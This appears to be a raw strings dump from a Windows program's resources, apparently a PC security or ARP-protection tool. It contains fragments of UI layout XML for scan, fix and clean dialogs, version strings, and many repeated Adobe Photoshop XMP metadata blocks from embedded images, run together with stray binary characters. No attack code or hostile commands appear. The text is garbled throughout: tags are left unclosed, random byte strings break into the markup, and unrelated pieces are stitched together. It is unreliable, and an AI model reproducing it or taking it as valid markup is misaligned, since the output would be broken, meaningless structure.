<text id="304" pos="53,6" class="boldtext" crtext="808080">
<text id="305" pos="53,27" crtext="808080">
<text id="273" pos="-78,6" crtext="FF0000">
<text id="306" pos="53,6" class="boldtext" crtext="808080">
<text id="307" pos="53,27" crtext="808080">
<text id="274" pos="-78,6" crtext="FF0000">
<text id="308" pos="53,6" class="boldtext" crtext="808080">
<text id="309" pos="53,27" crtext="808080">
<text id="275" pos="-78,6" crtext="FF0000">
<text id="310" pos="53,6" class="boldtext" crtext="808080">U
<text id="311" pos="53,27" crtext="808080">
<text id="276" pos="-78,6" crtext="FF0000">
<text id="100312" pos="53,6" class="boldtext" crtext="808080">
<text id="100313" pos="53,27" crtext="808080">
<text id="100277" pos="-78,6" crtext="FF0000">
<text id="100314" pos="53,6" class="boldtext" crtext="808080">
<text id="100315" pos="53,27" crtext="808080">
<text id="100278" pos="-78,6" crtext="FF0000">
<text id="100318" pos="53,6" class="boldtext" crtext="808080">ARP
<text id="100319" pos="53,27" crtext="808080">
<text id="100280" pos="-78,6" crtext="808080">
<text pos="53,6" class="boldtext" crtext="808080">ARP
<text pos="120,6"crtext="808080"> *
<text pos="53,27" crtext="808080">
<text pos="-78,6" crtext="808080" >
<text pos="-31,6" crtext="808080" >
<text pos="120,6" crtext="808080"> *
<text pos="-78,6" crtext="808080">
<text pos="-31,6" crtext="808080">
<text id="100316" pos="53,6" class="boldtext" crtext="808080">ARP
<text id="100317" pos="53,27" crtext="808080">
<text id="100279" pos="-78,6" crtext="FF0000">
<img id="4101" pos="32,10" skin="sysonekeyflag" sub="0" show="0"/>
<text id="4095" pos="90,12" crtext="4c4c4c" font="0204">
<text id="4067" pos="90,36" crtext="808080" font="0000"></text>
<img id="4063" pos="32,10" skin="onekey_animation" sub="0" show="1" />
<text id="41002" pos="367,127" crtext="3c96f2" font="0400">
<text pos="252,127" crtext="4c4c4c" font="0400">
<text pos="252,179" crtext="4c4c4c" font="0400">
<text pos="367,179" crtext="3c96f2" font="0400">
<text pos="498,179" crtext="808080" font="0400">
<text pos="252,231" crtext="4c4c4c" font="0400">
<text pos="367,231" crtext="3c96f2" font="0400">
<text pos="498,231" crtext="808080" font="0400">
<text pos="252,285" crtext="4c4c4c" font="0400">
<text id="41014" pos="367,285" crtext="3c96f2" font="0400">
<text id="41007" pos="203,367" crtext="4c4c4c" font="0700">
<text id="41008" pos="601,367" crtext="3c96f2" font="0700">
<text id="41009" pos="203,363" crtext="ff7b21" font="0700">
<text id="41010" pos="384,367" crtext="ff7b21" font="0400">
<text id="41013" pos="384,366" crtext="5ad800" font="0400">
<text id="343" pos="-139,10" crtext="666666">
<text id="344" pos="-139,10" crtext="666666">
<text id="345" pos="-139,10" crtext="666666">
<img id="4117" pos="420,157" skin="onekey_animation_big" sub="0" show="1" />
<text id="4118" pos="352,221" crtext="808080">
<text id="507" pos="240,65" font="0404" crtext="4c4c4c" class="examtitle">
<text id="517" pos="240,105" font="0000" crtext="666666"></text>
<b><c color="%s">%s</c></b></richtext>
<richtext id="525" pos="130,44,-0,120" defaultfont="0404" crtext="4C4C4C" crbg="F2F6FA" show="0" class="richtext">
<text id="526" pos="130,44" crtext="6d6d6d" font="0404">
<imgbtn id="503" pos="522,44" class="linkimage" skin="examonekeyfix" show="0"/>
<text id="502" pos="45,40" font="1700" crtext="F2F6FA" show="0">35</text>
<dlg pos="-250,0,-0,-0" crtext="000000" crbg="F2F6Fa">
<text id="648" crtext="666666" pos="48,93" show="0">
<text id="650" crtext="F35B10" pos="48,93">
<text id="652" crtext="666666" pos="156,93" show="0">
<text id="654" crtext="F35B10" pos="156,93">
<dlg pos="27,30,-0,-0" crtext="6d6d6d">
<text pos="26,53" crtext1="777777" font="000000">
<text pos="35,1,-0,-0" class="vcentertext" crtext="616161">
<text pos="35,1,-90,-0" class="vcentertext" crtext="616161">
<text id="254" pos="163,1,-25,-0" class="vcentertext" crtext="616161">1.0.0.239</text>
<text id="332" pos="35,1,-90,-0" class="vcentertext" crtext="616161">
<text crtext="939799" font="0300" pos="92,402">
<text id="21004" pos="140,58" font="0000" crtext="F35B10">0
<text id="21005" pos="300,58" font="0000" crtext="F35B10">00:00:00</text>
<text crtext="3C96F2" pos="18,8">
<text id="22005" font="0000" crtext="F35B10" pos="140,58">0
<text id="22007" font="0000" crtext="F35B10" pos="300,58">00:00:00</text>
<text crtext="808080" pos="30,8">
<text id="23004" font="0000" crtext="F35B10" pos="320,230" show="0">0
<text id="23006" font="0000" crtext="F35B10" pos="440,230" show="0">00:00:00</text>
<text font="0000" crtext="666666" pos="260,348">
<text font="0000" crtext="666666" pos="495,348">
<text pos="5,1,80,-0" class="vcentertext" crtext="616161">
<text id="254" pos="37,1,150,-0" class="vcentertext" crtext="616161"/>
<text id="332" pos="300,0,450,-0" class="vcentertext" show="0" crtext="616161">
<!--<text pos="12,3" class="vcentertext" crtext="616161">
<text id="255" pos="12,1,170,-0" class="vcentertext" crtext="616161">
2013.10.15.17</text>
<text pos="21,1,-0,-0" class="vcentertext" crtext="616161">
<text pos="21,1,-0,-0" class="vcentertext" crtext="616161">
<text id="3319" pos="60,25" font="0204" crtext="EC3535">
<text pos="60,25" font="0204" crtext="008000">
<text pos="60,25" id="3327" font="0204" crtext="008000">
<text pos="60,25" id="3340" font="0204" crtext="008000">
<text pos="60,25" font="0204" crtext="F99E00">
<text id="3336" pos="60,25" font="0204" crtext="EC3535"></text>
<text id="3325" pos="60,25" font="0204" crtext="EC3535"></text>
<img id="50001" pos="30,12" skin="onekeyflag" sub="0"/>
<text id="50002" pos="90,16" crtext="3D454D" font="0204">
<text id="50003" pos="90,40" crtext="808080" font="0000">
<imgbtn id="50004" class="linkimage" skin="onekeyclean" pos="524,15" show="1"/>
<dlg id="51000" pos="-250,0,-0,-0" crtext="000000" crbg="F2F6Fa">
<img pos="1,0" skin="onekeyright" sub="0"></img>
<img id="53001" pos="302,167" skin="onekeyloading" sub="0" show="1" />
<text pos="273,232" crtext="808080" show="1">
<img id="54001" pos="30,12" skin="onekeyscananimation" sub="0"/>
<text id="54002" pos="90,16" crtext="3D454D" font="0204">
<text id="54003" pos="157,18" crtext="3D454D" font="0000"></text>
<richtext id="55008" pos="92,12,500,35" crtext="3D454D" class="addspace" defaultfont="0204">
<richtext id="55003" pos="92,40,500,69" crtext="808080" class="addspace" defaultfont="0000">
<dlg id="58000" pos="0,-35,-0,-0" crtext="000000" crbg="F2F6Fa" show="1">
<img id="57001" pos="30,12" skin="onekeyscananimation" sub="0"/>
<text id="57002" pos="92,16" crtext="3D454D" font="0204">
<text id="57004" pos="157,18" crtext="3D454D" font="0000"></text>
<richtext id="56001" pos="240,120,600,145" crtext="3c96f2" class="addspace" defaultfont="0500">
<text id="56003" pos="240,148" crtext="808080" font="0100">
<text pos="120,272" crtext="4c4c4c" font="0300">
<text id="56005" pos="172,309" class="linkimagehand" crtext="666666" font="0104">
<text pos="172,337" crtext="808080" font="0100">
<text id="56007" pos="422,309" class="linkimagehand" crtext="666666" font="0104">
<text pos="422,337" crtext="808080" font="0100">
<text id="56009" pos="657,309" class="linkimagehand" crtext="666666" font="0104">
<text pos="657,337" crtext="808080" font="0100">
<text id="1512" pos="45,74" crtext="4C4C4C">
<text id="1513" pos="45,99" crtext="4C4C4C">
<dlg pos="0,0,-0,-0" font="0000" crtext="4C4C4C">
<text id="102" pos="55,6,-270,18" crtext="ff0000" class="endellipsistext"></text>
<text id="104" pos="-115,6" crtext="ff0000">[
g,Uy%u5
.ehIo
`.Wmi
eiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:CFF94A91A53FE311BA55AAE599CDAB5A" xmpMM:DocumentID="xmp.did:6C6B689662FB11E488F0F8C393737728" xmpMM:InstanceID="xmp.iid:6C6B689562FB11E488F0F8C393737728" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6E5F6DF7501E11E4AF6AD7DC6E09E355" stRef:documentID="xmp.did:6E5F6DF8501E11E4AF6AD7DC6E09E355"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
t.NAN$
y:.TfVw7-
iiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:CFF94A91A53FE311BA55AAE599CDAB5A" xmpMM:DocumentID="xmp.did:01E8DF9D9A0411E4BB4EDECB9251DAA1" xmpMM:InstanceID="xmp.iid:01E8DF9C9A0411E4BB4EDECB9251DAA1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1870d989-9ee4-a047-8599-1f3dcb3d2d06" stRef:documentID="xmp.did:6C6B689662FB11E488F0F8C393737728"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>a
_ü!
{OU%X5agA
_-Z}d
zY%uw8
ZkeY
J0H@%d
"iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:E55FC6DE8D4111E2BBFDB7F682BC5BF1" xmpMM:DocumentID="xmp.did:E55FC6DF8D4111E2BBFDB7F682BC5BF1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E55FC6DC8D4111E2BBFDB7F682BC5BF1" stRef:documentID="xmp.did:E55FC6DD8D4111E2BBFDB7F682BC5BF1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>$
5i.BI
jiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:64EEE10E5BE811E3ACF1EE72B22DD5CD" xmpMM:InstanceID="xmp.iid:64EEE10D5BE811E3ACF1EE72B22DD5CD" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5dc65625-57d9-454c-8055-df08935ed044" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>W
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:083D0692448D11E4AA05F5F6FC102F58" xmpMM:InstanceID="xmp.iid:083D0691448D11E4AA05F5F6FC102F58" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C890157A447311E492CDF0C3F9989CB9" stRef:documentID="xmp.did:C890157B447311E492CDF0C3F9989CB9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4m%D_
d%s2_
U-L0}O
qiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:0F98845343B811E48AB1D3F6B583CC4D" xmpMM:InstanceID="xmp.iid:0F98845243B811E48AB1D3F6B583CC4D" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5e4970d5-f368-714c-81ab-38ea1cd815aa" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:A4C24B7BB0C911E3B661DEE07FB08D49" xmpMM:InstanceID="xmp.iid:A4C24B7AB0C911E3B661DEE07FB08D49" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7777B2D6B0C911E39F1BE3EEE7803273" stRef:documentID="xmp.did:7777B2D7B0C911E39F1BE3EEE7803273"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:CC8E1A58B0C911E38DB4DC3A9386E16B" xmpMM:InstanceID="xmp.iid:CC8E1A57B0C911E38DB4DC3A9386E16B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7777B2D2B0C911E39F1BE3EEE7803273" stRef:documentID="xmp.did:7777B2D3B0C911E39F1BE3EEE7803273"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
iTXtXML:com.adobe.xmp
<rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/"
xmlns:dc="hXXp://purl.org/dc/elements/1.1/"
xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="hXXp://ns.adobe.com/tiff/1.0/"
xmlns:exif="hXXp://ns.adobe.com/exif/1.0/">
<xmpMM:OriginalDocumentID>xmp.did:A679A2EB3D40E311B4BB97CC3487326D</xmpMM:OriginalDocumentID>
<xmpMM:DocumentID>xmp.did:82316823404111E3AFEEB1A52E53F950</xmpMM:DocumentID>
<xmpMM:InstanceID>xmp.iid:c75cc094-2e30-714b-9bd8-64d0026ca99c</xmpMM:InstanceID>
<stRef:instanceID>xmp.iid:88BFB8744040E311B4BB97CC3487326D</stRef:instanceID>
<stRef:documentID>xmp.did:A679A2EB3D40E311B4BB97CC3487326D</stRef:documentID>
<stEvt:instanceID>xmp.iid:c75cc094-2e30-714b-9bd8-64d0026ca99c</stEvt:instanceID>
<stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
<xmp:CreatorTool>Adobe Photoshop CC (Windows)</xmp:CreatorTool>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:CF2250F69D5311E49ED0C108D0E77D50" xmpMM:InstanceID="xmp.iid:CF2250F59D5311E49ED0C108D0E77D50" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d59fc806-9fdb-0746-a982-c109188d6d6f" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
.zvcy$v
icRt
Aúk
m .yW
J(>.gy
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:12CF23F0B0CA11E3B605D398D544259B" xmpMM:InstanceID="xmp.iid:12CF23EFB0CA11E3B605D398D544259B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:77619272B0C911E39F1BE3EEE7803273" stRef:documentID="xmp.did:77619273B0C911E39F1BE3EEE7803273"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>ex
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:F1B5733DB0C911E381CC924EE26C33A9" xmpMM:InstanceID="xmp.iid:F1B5733CB0C911E381CC924EE26C33A9" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:77619276B0C911E39F1BE3EEE7803273" stRef:documentID="xmp.did:77619277B0C911E39F1BE3EEE7803273"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:1C05E4E7279811E48B96A98FB65F7A71" xmpMM:InstanceID="xmp.iid:1C05E4E6279811E48B96A98FB65F7A71" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:b314e344-6977-bf48-ae02-03cf7697b407" stRef:documentID="xmp.did:3ADE096D6EC811E3BC5F8BF72293A2D5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:46C3556A43C811E4B839BF513AEFD2FA" xmpMM:InstanceID="xmp.iid:46C3556943C811E4B839BF513AEFD2FA" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4e06d80c-94b3-4f48-b466-ac7beb5c3f18" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:C5A1FC5CA81411E3B9A2E75375FD436D" xmpMM:DocumentID="xmp.did:4733C9D4280D11E4AE5B8CF7F7D87B3E" xmpMM:InstanceID="xmp.iid:4733C9D3280D11E4AE5B8CF7F7D87B3E" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:fe98d6da-b99c-1e41-8f03-5a6df10953b9" stRef:documentID="xmp.did:C5A1FC5CA81411E3B9A2E75375FD436D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>o
ssHF"2)
%SMa1
mF-5}
..SNP
J!.Qi
}l.yQ
fiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:16D9EB7845A4E3118965EB32B46A67B9" xmpMM:DocumentID="xmp.did:165FF0CDA4CF11E3B618E787F13D61E1" xmpMM:InstanceID="xmp.iid:165FF0CCA4CF11E3B618E787F13D61E1" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5DB9FFBBCDA4E31187B0976FFF45D852" stRef:documentID="xmp.did:16D9EB7845A4E3118965EB32B46A67B9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Xq
0XZf
x;.cy
SqX-6XQ}
1 %F=
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:3A3968C4285C11E4925EB173BA1E29C6" xmpMM:InstanceID="xmp.iid:3A3968C3285C11E4925EB173BA1E29C6" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:954e59bb-1037-d445-a8b6-fb19ee2c8963" stRef:documentID="xmp.did:61560B84710C11E3984CEEF7409CAF44"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:EE5CBBD845CC11E3B836BB516AABA1DF" xmpMM:InstanceID="xmp.iid:EE5CBBD745CC11E3B836BB516AABA1DF" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F75D9162CA45E311847E8D64EDAA5123" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>%
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:EE47ACEC45CC11E3B836BB516AABA1DF" xmpMM:InstanceID="xmp.iid:EE47ACEB45CC11E3B836BB516AABA1DF" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F75D9162CA45E311847E8D64EDAA5123" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
